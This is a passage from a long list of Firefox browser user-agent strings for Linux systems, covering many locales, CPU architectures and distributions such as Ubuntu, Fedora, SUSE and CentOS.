Gecko/2008050509 Firefox/3.0b5 -Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.0.12) Gecko/20070508 Firefox/1.5.0.12 -Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.0.1) Gecko/20060124 Firefox/1.5.0.1 -Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.0.1) Gecko/20060124 Firefox/1.5.0.1 Ubuntu -Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.0.1) Gecko/20060201 Firefox/1.5.0.1 (Swiftfox) Mnenhy/0.7.3.0 -Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.0.1) Gecko/20060313 Fedora/1.5.0.1-9 Firefox/1.5.0.1 pango-text Mnenhy/0.7.3.0 -Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.0.4) Gecko/20060527 SUSE/1.5.0.4-1.7 Firefox/1.5.0.4 Mnenhy/0.7.4.0 -Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.0.4) Gecko/20060614 Fedora/1.5.0.4-1.2.fc5 Firefox/1.5.0.4 pango-text Mnenhy/0.7.4.0 -Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.0.7) Gecko/20060914 Firefox/1.5.0.7 (Swiftfox) -Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1 (Ubuntu-edgy) -Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.1.2) Gecko/20070220 Firefox/2.0.0.2 -Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6 -Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.1b1) Gecko/20060710 Firefox/2.0b1 -Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.1) Gecko/20061003 Firefox/2.0 Ubuntu -Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.1) Gecko/20061010 Firefox/2.0 -Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.1) Gecko/20061010 Firefox/2.0 Ubuntu -Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.1) Gecko/20061024 Firefox/2.0 (Swiftfox) -Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.1) Gecko/20061127 Firefox/2.0 -Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.1) Gecko/20061127 Firefox/2.0 (Gentoo Linux) -Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8) Gecko/20051111 Firefox/1.5 -Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8) Gecko/20051111 Firefox/1.5 Ubuntu -Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.9.0.6) Gecko/2009011912 Firefox/3.0.6 -Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.9.2.18) Gecko/20110614 Firefox/3.6.18 (.NET CLR 3.5.30729; .NET4.0E) -Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.7.10) Gecko/20050717 Firefox/1.0.6 -Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7) -Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.8.0.3) Gecko/20060523 Ubuntu/dapper Firefox/1.5.0.3 -Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.8.0.4) Gecko/20060608 Ubuntu/dapper-security Firefox/1.5.0.4 -Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 -Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.8.1.1) Gecko/20061208 Firefox/2.0.0.1 -Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.8) Gecko/20051111 Firefox/1.5 -Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.9.0.4) Gecko/2008111217 Fedora/3.0.4-1.fc10 Firefox/3.0.4 -Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.9.0.4) Gecko/2008111317 Ubuntu/8.04 (hardy) Firefox/3.0.4 -Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.9.2.13) Gecko/20101209 Fedora/3.6.13-1.fc13 Firefox/3.6.13 -Mozilla/5.0 (X11; U; Linux i686; pt-PT; rv:1.8.1.11) Gecko/20071204 Ubuntu/7.10 (gutsy) Firefox/2.0.0.11 -Mozilla/5.0 (X11; U; Linux i686; pt-PT; rv:1.9.0.5) Gecko/2008121622 Ubuntu/8.10 (intrepid) Firefox/3.0.4 -Mozilla/5.0 (X11; U; Linux i686; ru-RU; rv:1.7.6) Gecko/20050318 Firefox/1.0.2 -Mozilla/5.0 (X11; U; Linux i686; ru-RU; rv:1.8.1.11) Gecko/20071201 Firefox/2.0.0.11 -Mozilla/5.0 (X11; U; Linux i686; ru-RU; rv:1.9.1.2) Gecko/20090804 Firefox/3.5.2 -Mozilla/5.0 (X11; U; Linux i686; ru-RU; rv:1.9.2a1pre) Gecko/20090405 Ubuntu/9.04 (jaunty) Firefox/3.6a1pre -Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4 -Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.8.0.7) Gecko/20060921 Ubuntu/dapper-security Firefox/1.5.0.7 -Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.8.1.8) Gecko/20071022 Ubuntu/7.10 (gutsy) Firefox/2.0.0.8 -Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1 -Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.0.1) Gecko/2008071719 Firefox/3.0.1 -Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.0.5) Gecko/2008120121 Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.0.5) Gecko/2008121622 Ubuntu/8.10 (intrepid) Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.1.3) Gecko/20091020 Ubuntu/10.04 (lucid) Firefox/4.0.1 -Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.1.3) Gecko/20091020 Ubuntu/9.10 (karmic) Firefox/3.5.3 -Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.2.13) Gecko/20101206 Ubuntu/10.10 (maverick) Firefox/3.6.13 -Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.2.8) Gecko/20100723 Ubuntu/10.04 (lucid) Firefox/3.6.8 -Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.3a5pre) Gecko/20100526 Firefox/3.7a5pre -Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9b5) Gecko/2008032600 SUSE/2.9.95-25.1 Firefox/3.0b5 -Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9) Gecko/2008061812 Firefox/3.0 -Mozilla/5.0 (X11; U; Linux i686; rv:1.7.3) Gecko/20040913 Firefox/0.10 -Mozilla/5.0 (X11; U; Linux i686; rv:1.7.3) Gecko/20040914 Firefox/0.10 -Mozilla/5.0 (X11; U; Linux i686; rv:1.7.3) Gecko/20040914 Firefox/0.10.1 -Mozilla/5.0 (X11; U; Linux i686; rv:1.7.3) Gecko/20041001 Firefox/0.10.1 -Mozilla/5.0 (X11; U; Linux i686; rv:1.7.3) Gecko/20041020 Firefox/0.10.1 -Mozilla/5.0 (X11; U; Linux i686; rv:1.8.0.1) Gecko/20060124 Firefox/1.5.0.1 -Mozilla/5.0 (X11; U; Linux i686; rv:1.9) Gecko/2008080808 Firefox/3.0 -Mozilla/5.0 (X11; U; Linux i686; rv:1.9) Gecko/20080810020329 Firefox/3.0.1 -Mozilla/5.0 (X11; U; Linux i686; sk; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 -Mozilla/5.0 (X11; U; Linux i686; sk; rv:1.9.0.5) Gecko/2008121621 Ubuntu/8.04 (hardy) Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux i686; sk; rv:1.9.1) Gecko/20090630 Fedora/3.5-1.fc11 Firefox/3.0 -Mozilla/5.0 (X11; U; Linux i686; sk; rv:1.9) Gecko/2008061015 Firefox/3.0 -Mozilla/5.0 (X11; U; Linux i686; sv-SE; rv:1.8.0.13pre) Gecko/20071126 Ubuntu/dapper-security Firefox/1.5.0.13pre -Mozilla/5.0 (X11; U; Linux i686; sv-SE; rv:1.8.0.5) Gecko/20060731 Ubuntu/dapper-security Firefox/1.5.0.5 -Mozilla/5.0 (X11; U; Linux i686; sv-SE; rv:1.8.0.8) Gecko/20061108 Fedora/1.5.0.8-1.fc5 Firefox/1.5.0.8 -Mozilla/5.0 (X11; U; Linux i686; sv-SE; rv:1.8.1.2) Gecko/20061023 SUSE/2.0.0.2-1.1 Firefox/2.0.0.2 -Mozilla/5.0 (X11; U; Linux i686; sv-SE; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux i686; sv-SE; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6 -Mozilla/5.0 (X11; U; Linux i686; tr-TR; rv:1.8.1) Gecko/20061023 SUSE/2.0-30 Firefox/2.0 -Mozilla/5.0 (X11; U; Linux i686; tr-TR; rv:1.9.0.10) Gecko/2009042523 Ubuntu/9.04 (jaunty) Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux i686; tr-TR; rv:1.9.0) Gecko/2008061600 SUSE/3.0-1.2 Firefox/3.0 -Mozilla/5.0 (X11; U; Linux i686; tr-TR; rv:1.9b5) Gecko/2008032600 SUSE/2.9.95-25.1 Firefox/3.0b5 -Mozilla/5.0 (X11; U; Linux i686; Ubuntu 7.04; de-CH; rv:1.8.1.5) Gecko/20070309 Firefox/2.0.0.5 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); de; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); de; rv:1.8.0.6) Gecko/20060728 SUSE/1.5.0.6-1.3 Firefox/1.5.0.6 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); de; rv:1.9.1) Gecko/20090624 Firefox/3.5 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-GB; rv:1.8.1.5) Gecko/20070718 Fedora/2.0.0.5-1.fc7 Firefox/2.0.0.5 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-GB; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-GB; rv:1.9.2.17) Gecko/20110420 Firefox/3.6.17 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.0.10) Gecko/20060911 SUSE/1.5.0.10-0.2 Firefox/1.5.0.10 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.0.12) Gecko/20070731 Ubuntu/dapper-security Firefox/1.5.0.12 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.0.12) Gecko/20080326 CentOS/1.5.0.12-14.el5.centos Firefox/1.5.0.12 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.0.5) Gecko/20060726 Red Hat/1.5.0.5-0.el4.1 Firefox/1.5.0.5 pango-text -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.0.6) Gecko/20060728 SUSE/1.5.0.6-1.2 Firefox/1.5.0.6 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.0.9) Gecko/20061219 Fedora/1.5.0.9-1.fc6 Firefox/1.5.0.9 pango-text -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.10) Gecko/20071015 SUSE/2.0.0.10-0.1 Firefox/2.0.0.10 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.10) Gecko/20071015 SUSE/2.0.0.10-0.2 Firefox/2.0.0.10 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.10) Gecko/20071115 Firefox/2.0.0.10 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.14) Gecko/20080417 Firefox/2.0.0.14 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.16) Gecko/20080716 Firefox/2.0.0.16 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.17) Gecko/20080829 Firefox/2.0.0.17 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.20) Gecko/20090206 Firefox/2.0.0.20 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.2pre) Gecko/20061023 SUSE/2.0.0.1-0.1 Firefox/2.0.0.2pre -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.5) Gecko/20070718 Fedora/2.0.0.5-1.fc7 Firefox/2.0.0.5 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.9a1) Gecko/20060127 Firefox/1.6a1 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.9b2) Gecko/2007121016 Firefox/3.0b2 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); fr; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); fr; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); nl; rv:1.8.0.6) Gecko/20060728 SUSE/1.5.0.6-1.2 Firefox/1.5.0.6 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); ru; rv:1.8.0.3) Gecko/20060425 SUSE/1.5.0.3-7 Firefox/1.5.0.3 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); zh-TW; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 -Mozilla/5.0 (X11; U; Linux i686; zh-CN; rv:1.9.1.6) Gecko/20091216 Fedora/3.5.6-1.fc11 Firefox/3.5.6 GTB6 -Mozilla/5.0 (X11; U; Linux i686; zh-CN; rv:1.9.1.8) Gecko/20100216 Fedora/3.5.8-1.fc12 Firefox/3.5.8 -Mozilla/5.0 (X11; U; Linux i686; zh-CN; rv:1.9.2.8) Gecko/20100722 Ubuntu/10.04 (lucid) Firefox/3.6.8 -Mozilla/5.0 (X11; U; Linux i686; zh-TW; rv:1.8.0.10) Gecko/20070508 Fedora/1.5.0.10-1.fc5 Firefox/1.5.0.10 -Mozilla/5.0 (X11; U; Linux i686; zh-TW; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 -Mozilla/5.0 (X11; U; Linux i686; zh-TW; rv:1.8.1) Gecko/20061010 Firefox/2.0 -Mozilla/5.0 (X11; U; Linux i686; zh-TW; rv:1.9.0.13) Gecko/2009080315 Ubuntu/9.04 (jaunty) Firefox/3.0.13 -Mozilla/5.0 (X11; U; Linux i686; zh-TW; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux i686; zh-TW; rv:1.9.0.7) Gecko/2009030422 Ubuntu/8.04 (hardy) Firefox/3.0.7 -Mozilla/5.0 (X11; U; Linux ia64; en-US; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux MIPS32 1074Kf CPS QuadCore; en-US; rv:1.9.2.13) Gecko/20110103 Fedora/3.6.13-1.fc14 Firefox/3.6.13 -Mozilla/5.0 (X11; U; Linux ppc64; en-US; rv:1.8.1.14) Gecko/20080418 Ubuntu/7.10 (gutsy) Firefox/2.0.0.14 -Mozilla/5.0 (X11; U; Linux ppc; da-DK; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7) -Mozilla/5.0 (X11; U; Linux ppc; en-GB; rv:1.9.0.12) Gecko/2009070818 Ubuntu/8.10 (intrepid) Firefox/3.0.12 -Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.7.12) Gecko/20051222 Firefox/1.0.7 -Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.8.1.3) Gecko/20070310 Firefox/2.0.0.3 (Debian-2.0.0.3-1) -Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.9.0.4) Gecko/2008111317 Ubuntu/8.04 (hardy) Firefox/3.0.4 -Mozilla/5.0 (X11; U; Linux ppc; fr; rv:1.9.2.12) Gecko/20101027 Ubuntu/10.10 (maverick) Firefox/3.6.12 -Mozilla/5.0 (X11; U; Linux sparc64; en-US; rv:1.8.1.17) Gecko/20081108 Firefox/2.0.0.17 -Mozilla/5.0 (X11; U; Linux x64_64; es-AR; rv:1.9.0.3) Gecko/2008092515 Ubuntu/8.10 (intrepid) Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux x86_64; cs-CZ; rv:1.9.0.4) Gecko/2008111318 Ubuntu/8.04 (hardy) Firefox/3.0.4 -Mozilla/5.0 (X11; U; Linux x86_64; cs-CZ; rv:1.9.1.7) Gecko/20100106 Ubuntu/9.10 (karmic) Firefox/3.5.7 -Mozilla/5.0 (X11; U; Linux x86_64; cs-CZ; rv:1.9.1.9) Gecko/20100317 SUSE/3.5.9-0.1.1 Firefox/3.5.9 -Mozilla/5.0 (X11; U; Linux x86_64; cs-CZ; rv:1.9.2.10) Gecko/20100915 Ubuntu/10.04 (lucid) Firefox/3.6.10 -Mozilla/5.0 (X11; U; Linux x86_64; da-DK; rv:1.9.0.10) Gecko/2009042523 Ubuntu/9.04 (jaunty) Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux x86_64; da-DK; rv:1.9.2.13) Gecko/20101206 Ubuntu/10.10 (maverick) Firefox/3.6.13 -Mozilla/5.0 (X11; U; Linux x86_64; de-AT; rv:1.8.0.2) Gecko/20060422 Firefox/1.5.0.2 -Mozilla/5.0 (X11; U; Linux x86_64; de-DE; rv:1.8.1.6) Gecko/20070802 Firefox/2.0.0.6 -Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.8.1.12) Gecko/20080203 SUSE/2.0.0.12-6.1 Firefox/2.0.0.12 -Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.8.1.12) Gecko/20080208 Fedora/2.0.0.12-1.fc8 Firefox/2.0.0.12 -Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.0.11) Gecko/2009070611 Gentoo Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.0.18) Gecko/2010021501 Ubuntu/9.04 (jaunty) Firefox/3.0.18 -Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.0.1) Gecko/2008070400 SUSE/3.0.1-0.1 Firefox/3.0.1 -Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.0.3) Gecko/2008090713 Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.0.7) Gecko/2009030620 Gentoo Firefox/3.0.7 -Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.0.9) Gecko/2009042114 Ubuntu/9.04 (jaunty) Firefox/3.0.9 -Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.1.10) Gecko/20100506 SUSE/3.5.10-0.1.1 Firefox/3.5.10 -Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10 GTB7.1 -Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.2.3) Gecko/20100401 SUSE/3.6.3-1.1 Firefox/3.6.3 -Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.2) Gecko/20100308 Ubuntu/10.04 (lucid) Firefox/3.6 -Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9) Gecko/2008061017 Firefox/3.0 -Mozilla/5.0 (X11; U; Linux x86_64; el-GR; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10 -Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.8.1.12) Gecko/20080203 SUSE/2.0.0.12-0.1 Firefox/2.0.0.12 -Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.8.1.12) Gecko/20080207 Ubuntu/7.10 (gutsy) Firefox/2.0.0.12 -Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.10) Gecko/2009042523 Ubuntu/9.04 (jaunty) Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.12) Gecko/2009070811 Ubuntu/9.04 (jaunty) Firefox/3.0.12 FirePHP/0.3 -Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.1) Gecko/2008072820 Firefox/3.0.1 FirePHP/0.1.1.2 -Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.2) Gecko/2008092213 Ubuntu/8.04 (hardy) Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.5) Gecko/2008122010 Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.7) Gecko/2009030503 Fedora/3.0.7-1.fc9 Firefox/3.0.7 -Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.8) Gecko/2009032712 Ubuntu/8.10 (intrepid) Firefox/3.0.8 -Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.8) Gecko/2009032712 Ubuntu/8.10 (intrepid) Firefox/3.0.8 FirePHP/0.2.4 -Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.9) Gecko/2009042113 Ubuntu/8.10 (intrepid) Firefox/3.0.9 -Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.2.13) Gecko/20101206 Red Hat/3.6-2.el5 Firefox/3.6.13 -Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.2.13) Gecko/20101206 Ubuntu/9.10 (karmic) Firefox/3.6.13 -Mozilla/5.0 (X11; U; Linux x86_64; en-NZ; rv:1.9.2.13) Gecko/20101206 Ubuntu/10.10 (maverick) Firefox/3.6.13 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) Gecko Firefox/3.0.8 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.10) Gecko/20050724 Firefox/1.0.6 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.12) Gecko/20050922 Fedora/1.0.7-1.1.fc4 Firefox/1.0.7 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7) -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.12) Gecko/20051127 Firefox/1.0.7 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.12) Gecko/20051218 Firefox/1.0.7 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.12) Gecko/20060202 CentOS/1.0.7-1.4.3.centos4 Firefox/1.0.7 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.6) Gecko/20050405 Firefox/1.0 (Ubuntu package 1.0.2) -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.10) Gecko/20070409 CentOS/1.5.0.10-2.el5.centos Firefox/1.5.0.10 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.12) Gecko/20070530 Fedora/1.5.0.12-1.fc6 Firefox/1.5.0.12 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.12) Gecko/20070718 Red Hat/1.5.0.12-3.el5 Firefox/1.5.0.12 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.12) Gecko/20080419 CentOS/1.5.0.12-0.15.el4.centos Firefox/1.5.0.12 pango-text -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.1) Gecko/20060313 Fedora/1.5.0.1-9 Firefox/1.5.0.1 pango-text -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.3) Gecko/20060522 Firefox/1.5.0.3 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.3) Gecko/20060523 Ubuntu/dapper Firefox/1.5.0.3 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.4) Gecko/20060608 Ubuntu/dapper-security Firefox/1.5.0.4 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.5) Gecko/20060731 Ubuntu/dapper-security Firefox/1.5.0.5 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.5) Gecko/20060911 Firefox/1.5.0.5 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.7) Gecko/20060911 Firefox/1.5.0.7 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.7) Gecko/20060919 Firefox/1.5.0.7 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.7) Gecko/20060921 Ubuntu/dapper-security Firefox/1.5.0.7 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.7) Gecko/20060924 Firefox/1.5.0.7 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.9) Gecko/20070126 Ubuntu/dapper-security Firefox/1.5.0.9 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.10) Gecko/20061201 Firefox/2.0.0.10 (Ubuntu-feisty) -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.11) Gecko/20070914 Mandriva/2.0.0.11-1.1mdv2008.0 (2008.0) Firefox/2.0.0.11 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.11) Gecko/20071201 Firefox/2.0.0.11 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.12) Gecko/20080129 Firefox/2.0.0.8 (Debian-2.0.0.12-1) -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.12) Gecko/20080203 SUSE/2.0.0.12-0.1 Firefox/2.0.0.12 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.12) Gecko/20080214 Firefox/2.0.0.12 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.13) Gecko/20080208 Mandriva/2.0.0.13-1mdv2008.1 (2008.1) Firefox/2.0.0.13 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.15) Gecko/20080702 Ubuntu/8.04 (hardy) Firefox/2.0.0.15 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.16) Gecko/20080718 Ubuntu/8.04 (hardy) Firefox/2.0.0.16 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.16) Gecko/20080719 Firefox/2.0.0.16 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.18) Gecko/20081112 Fedora/2.0.0.18-1.fc8 Firefox/2.0.0.18 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.18) Gecko/20081113 Ubuntu/8.04 (hardy) Firefox/2.0.0.18 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.19) Gecko/20081213 SUSE/2.0.0.19-0.1 Firefox/2.0.0.19 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.1) Gecko/20060601 